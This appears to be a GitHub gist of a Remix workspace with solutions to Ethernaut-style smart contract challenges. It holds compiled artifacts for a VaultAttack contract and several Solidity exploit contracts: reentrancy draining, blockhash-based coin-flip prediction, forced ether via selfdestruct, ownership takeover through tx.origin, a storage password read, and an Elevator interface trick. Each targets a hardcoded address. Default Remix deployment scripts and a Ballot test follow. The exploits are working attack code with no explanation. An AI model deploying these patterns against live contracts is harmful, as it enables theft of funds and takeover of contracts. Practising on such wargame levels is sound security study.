"src": "1251:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1251:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "1152:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1318:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1375:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1384:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1387:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1377:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1377:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1377:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1341:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1366:5:1"
}
],
"functionName": {
"name": "cleanup_t_bytes32",
"nodeType": "YulIdentifier",
"src": "1348:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1348:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1338:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1338:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1331:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1331:43:1"
},
"nodeType": "YulIf",
"src": "1328:63:1"
}
]
},
"name": "validator_revert_t_bytes32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1311:5:1",
"type": ""
}
],
"src": "1275:122:1"
}
]
},
"contents": "{\n\n function abi_decode_t_bytes32_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_bytes32(value)\n }\n\n function abi_decode_tuple_t_bytes32_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_bytes32_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_bytes32_to_t_bytes32_fromStack(value, pos) {\n mstore(pos, cleanup_t_bytes32(value))\n }\n\n function abi_encode_tuple_t_bytes32__to_t_bytes32__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_bytes32_to_t_bytes32_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function cleanup_t_bytes32(value) -> cleaned {\n cleaned := value\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function validator_revert_t_bytes32(value) {\n if iszero(eq(value, cleanup_t_bytes32(value))) { revert(0, 0) }\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b506004361061002b5760003560e01c80639e5faafc14610030575b600080fd5b61003861003a565b005b6000737fdcaa24f667d24cceacc21b4dde9a69b7d6807290508073ffffffffffffffffffffffffffffffffffffffff1663ec9b5b3a8273ffffffffffffffffffffffffffffffffffffffff1663224b610b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100b557600080fd5b505afa1580156100c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100ed9190610153565b6040518263ffffffff1660e01b8152600401610109919061018f565b600060405180830381600087803b15801561012357600080fd5b505af1158015610137573d6000803e3d6000fd5b5050505050565b60008151905061014d816101b9565b92915050565b600060208284031215610169576101686101b4565b5b60006101778482850161013e565b91505092915050565b610189816101aa565b82525050565b60006020820190506101a46000830184610180565b92915050565b6000819050919050565b600080fd5b6101c2816101aa565b81146101cd57600080fd5b5056fea26469706673582212201c59cf3444468518de4c1d25ebff648a72611a66d7a073107dbc01477e71c30664736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x38 PUSH2 0x3A JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH20 0x7FDCAA24F667D24CCEACC21B4DDE9A69B7D68072 SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xEC9B5B3A DUP3 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x224B610B PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xB5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0xC9 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x1F NOT PUSH1 0x1F DUP3 ADD AND DUP3 ADD DUP1 PUSH1 0x40 MSTORE POP DUP2 ADD SWAP1 PUSH2 0xED SWAP2 SWAP1 PUSH2 0x153 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x109 SWAP2 SWAP1 PUSH2 0x18F JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x123 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x137 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 MLOAD SWAP1 POP PUSH2 0x14D DUP2 PUSH2 0x1B9 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x169 JUMPI PUSH2 0x168 PUSH2 0x1B4 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x177 DUP5 DUP3 DUP6 ADD PUSH2 0x13E JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x189 DUP2 PUSH2 0x1AA JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1A4 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x180 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x1C2 DUP2 PUSH2 0x1AA JUMP JUMPDEST DUP2 EQ PUSH2 0x1CD JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 SHR MSIZE 0xCF CALLVALUE DIFFICULTY CHAINID DUP6 XOR 0xDE 0x4C SAR 0x25 0xEB SELFDESTRUCT PUSH5 0x8A72611A66 0xD7 LOG0 PUSH20 0x107DBC01477E71C30664736F6C63430008070033 ",
"sourceMap": "199:182:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;227:151;;;:::i;:::-;;;263:12;284:42;263:64;;338:6;:13;;;352:6;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;338:32;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;252:126;227:151::o;7:143:1:-;64:5;95:6;89:13;80:22;;111:33;138:5;111:33;:::i;:::-;7:143;;;;:::o;156:351::-;226:6;275:2;263:9;254:7;250:23;246:32;243:119;;;281:79;;:::i;:::-;243:119;401:1;426:64;482:7;473:6;462:9;458:22;426:64;:::i;:::-;416:74;;372:128;156:351;;;;:::o;513:118::-;600:24;618:5;600:24;:::i;:::-;595:3;588:37;513:118;;:::o;637:222::-;730:4;768:2;757:9;753:18;745:26;;781:71;849:1;838:9;834:17;825:6;781:71;:::i;:::-;637:222;;;;:::o;946:77::-;983:7;1012:5;1001:16;;946:77;;;:::o;1152:117::-;1261:1;1258;1251:12;1275:122;1348:24;1366:5;1348:24;:::i;:::-;1341:5;1338:35;1328:63;;1387:1;1384;1377:12;1328:63;1275:122;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "103600",
"executionCost": "153",
"totalCost": "103753"
},
"external": {
"attack()": "infinite"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc"
}
},
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/VaultAttack.sol": "VaultAttack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/VaultAttack.sol": {
"keccak256": "0xe7860b420feee316d6d7d260509b48a664dda0166ba20037a570a5e4987a03ac",
"license": "MIT",
"urls": [
"bzz-raw://9b45d83017205ef477a7156a8c29d5aa32d647246ab8b51bf33514c436f7f21e",
"dweb:/ipfs/Qmf2zNuFaSYiMRrhXKjjAtt3dZuiEGEL4gyim2EMp6wTGV"
]
}
},
"version": 1
}
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
abstract contract CoinFlip {
function flip(bool _guess) virtual public returns (bool);
}
contract CoinFlipAttack {
using SafeMath for uint256;
CoinFlip victim = CoinFlip(0xB871C66D5fdc7F6cD7a45e5b18071e850429338B);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
victim.flip(side);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract Building {
bool toggle = false;
function isLastFloor(uint _floor) external returns (bool) {
bool current = toggle;
toggle = !toggle;
return current;
}
function attack() public {
Elevator victim = Elevator(0xC29a20b44D3cF822268e0b847D4863Df37Fb5e7f);
victim.goTo(42);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ForceAttack {
receive() external payable {
}
function attack() public payable {
address payable victim = payable(0x59bB54f65D7c1669D6E8BBCB599da781f1e00357);
selfdestruct(victim);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Gate {
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
uint public lastVal;
constructor() payable {
owner = payable(msg.sender);
king = payable(msg.sender);
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
require(address(this).balance == msg.value);
king.transfer(msg.value);
king = payable(msg.sender);
prize = msg.value;
}
function test() external payable {
require(msg.value >= prize || msg.sender == owner);
require(address(this).balance == msg.value);
payable(tx.origin).transfer(msg.value);
}
function _king() public view returns (address payable) {
return king;
}
}
contract KingAttack {
address payable public victim;
King _king;
constructor(address payable _victim) {
victim = _victim;
_king = King(_victim);
}
function attack() public payable {
//payable(msg.sender).transfer(msg.value);
//victim.transfer(msg.value);
//_king.test{value:msg.value}();
victim.call{value:msg.value}("");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
contract ReentranceAttack {
Reentrance victim = Reentrance(payable(0x83B848dc841cc927834a3aCB92CB76934B855e63));
function attack() public payable {
require(msg.value >= address(victim).balance);
victim.donate{value:msg.value}(address(this));
victim.withdraw(msg.value);
}
receive() external payable {
victim.withdraw(msg.value);
}
}
pragma solidity ^0.8.0;
abstract contract Telephone {
function changeOwner(address _owner) virtual public;
}
contract TelephoneAttack {
address newOwner;
constructor(address _newOwner) {
newOwner = _newOwner;
}
Telephone victim = Telephone(0x1B79Ac6A9e87Aa86f4132A30B71a8946eEe02E49);
function attack() public {
victim.changeOwner(newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Vault {
bool public locked;
bytes32 public password;
function unlock(bytes32 _password) virtual public;
}
contract VaultAttack {
function attack() public {
Vault victim = Vault(0x7FdcAa24F667D24ccEacC21B4DdE9A69b7d68072);
victim.unlock(victim.password());
}
}
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithEthers script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
// 'web3Provider' is a remix global variable object
const signer = (new ethers.providers.Web3Provider(web3Provider)).getSigner()
let factory = new ethers.ContractFactory(metadata.abi, metadata.data.bytecode.object, signer);
let contract = await factory.deploy(...constructorArgs);
console.log('Contract Address: ', contract.address);
// The contract is NOT deployed yet; we must wait until it is mined
await contract.deployed()
console.log('Deployment successful.')
} catch (e) {
console.log(e.message)
}
})()
// Right click on the script name and hit "Run" to execute
(async () => {
try {
console.log('Running deployWithWeb3 script...')
const contractName = 'Storage' // Change this for other contract
const constructorArgs = [] // Put constructor args (if any) here for your contract
// Note that the script needs the ABI which is generated from the compilation artifact.
// Make sure contract is compiled and artifacts are generated
const artifactsPath = `browser/contracts/artifacts/${contractName}.json` // Change this for different path
const metadata = JSON.parse(await remix.call('fileManager', 'getFile', artifactsPath))
const accounts = await web3.eth.getAccounts()
let contract = new web3.eth.Contract(metadata.abi)
contract = contract.deploy({
data: metadata.data.bytecode.object,
arguments: constructorArgs
})
const newContractInstance = await contract.send({
from: accounts[0],
gas: 1500000,
gasPrice: '30000000000'
})
console.log('Contract deployed at address: ', newContractInstance.options.address)
} catch (e) {
console.log(e.message)
}
})()
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
import "remix_tests.sol"; // this import is automatically injected by Remix.
import "../contracts/3_Ballot.sol";
contract BallotTest {
bytes32[] proposalNames;
Ballot ballotToTest;
function beforeAll () public {
proposalNames.push(bytes32("candidate1"));
ballotToTest = new Ballot(proposalNames);
}
function checkWinningProposal () public {
ballotToTest.vote(0);
Assert.equal(ballotToTest.winningProposal(), uint(0), "proposal at index 0 should be the winning proposal");
Assert.equal(ballotToTest.winnerName(), bytes32("candidate1"), "candidate1 should be the winner name");
}
function checkWinninProposalWithReturnValue () public view returns (bool) {
return ballotToTest.winningProposal() == 0;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment